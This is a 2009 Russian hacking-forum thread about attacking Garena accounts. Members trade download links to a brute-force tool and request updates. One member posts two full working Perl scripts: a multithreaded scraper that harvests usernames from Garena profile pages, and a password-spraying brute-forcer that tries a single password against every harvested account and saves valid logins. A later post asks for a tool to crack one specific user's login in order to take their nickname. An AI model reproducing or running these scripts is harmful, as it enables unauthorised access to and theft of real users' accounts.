Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
27.01.2009, 13:17
|
|
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме:
3459722
Репутация:
155
|
|
Сообщение от Nelzone
http://rapidshare.com/files/190062919/garena.rar.html
я написил в посту выше!!
|
|
|
27.01.2009, 14:51
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311
Репутация:
1676
|
|
http://kaimi.ru/wp-content/uploads/2009/01/run.rar
|
|
|
|
27.01.2009, 15:03
|
|
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме:
3459722
Репутация:
155
|
|
Сообщение от Kaimi
http://kaimi.ru/wp-content/uploads/2009/01/run.rar
ето я скачал а там парсера нету только брут
|
|
|
|
27.01.2009, 15:44
|
|
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме:
3459722
Репутация:
155
|
|
всё скачал спсибо .Тс молодец уважуха ему!!
|
|
|
|
28.01.2009, 13:38
|
|
Новичок
Регистрация: 17.11.2008
Сообщений: 1
Провел на форуме:
193824
Репутация:
0
|
|
брут действительно работает, автор спасибо !
|
|
|
|
13.02.2009, 23:23
|
|
Новичок
Регистрация: 13.02.2009
Сообщений: 2
Провел на форуме:
7991
Репутация:
0
|
|
Афтор обнови плз...
|
|
|
|
13.02.2009, 23:55
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
кто просил обновить:
парсер (perl):
PHP код:
use warnings;
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';
my $dig : shared = shift || 9423791 ; #ID начала парсинга (парсинг по убыванию)
$threads = shift || 10 ; #Кол-во потоков
$fname = 'accs.txt' ; #Куда сохранять
$time = time;
printf "Started at ".localtime()."\n";
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while($dig)
{
my $re ='';
{lock($dig);
$re = "GET http://www.garena.com/forum/viewpro.php?uid=".$dig." HTTP/1.1\nHost: www.garena.com\n\n"; $dig--;}
my $sock = sock();
print $sock $re;
read($sock,my $answ,10000);
if($answ =~ /<div class="header" style="text-align:left">(.*?)\'s/) {
print $dig."::".$1."\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
flock(FILE, LOCK_EX);
print FILE "$1\n";
flock(FILE, LOCK_UN);
close(FILE);
}
close($sock);
}
}
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'garena.com',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "Can't connect\n";
} while (!$sock);
return $sock;
}
$time = time-$time;
printf "Finished at ".localtime()."\n";
printf "Time elapsed: $time sec\n";
#(c)Kaimi
|
|
|
|
13.02.2009, 23:56
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
брутер(perl):
PHP код:
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';
$pwd = shift || '123456' ; # Пароль
$threads = shift || 5 ; #Кол-во потоков
$ml = shift || 'accs.txt' ; #Список акков
$fname = 'good.txt' ; #Валидные
my $i : shared = 0;
my @trl;
$| =1;
print "Loading...\n";
open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);
$size = scalar @acc;
print "Loaded: ".$size." accs.\n";
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = sock();
my $data =
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"username\"\n\n".
"$acc\n".
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"password\"\n\n".
"$pwd\n".
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"loginSubmit\"\n\n".
"Submit\n".
"-----------------------------18847261322183--\n\n";
my $re =
"POST http://www.garena.com/payment/index.php?c=VXNlcg==&a=bG9naW4= HTTP/1.1\n".
"Host: www.garena.com\n".
"User-Agent: Mozilla/4.0\n".
"Connection: close\n".
"Referer: http://garena.com\n".
"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
"Content-Length: ".length($data)."\n\n".$data;
print $sock $re;
read($sock,my $answ,10000);
if($answ =~ /cdb_auth/)
{
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
flock(FILE, LOCK_EX);
print FILE "$acc:$pwd\n";
flock(FILE, LOCK_UN);
close(FILE);
}
{lock($i);$i++;}
print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
close($sock);
}
}
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'garena.com',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "Can't connect\n";
} while (!$sock);
return $sock;
}
#(c)Kaimi
|
|
|
|
06.03.2009, 00:58
|
|
Новичок
Регистрация: 05.03.2009
Сообщений: 1
Провел на форуме:
620
Репутация:
0
|
|
Выложите плиз у кого есть рабочий брут чтобы пороли брутило к одному логину, просто ник который я хочу себе сделать уже занят а с различными скобками и точками не хотелось бы делать  (список паролей у меня уже есть, не хватает только брута). help |
|
|
|
10.03.2009, 03:21
|
|
Новичок
Регистрация: 25.12.2008
Сообщений: 22
Провел на форуме:
244414
Репутация:
11
|
|
И в правду
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
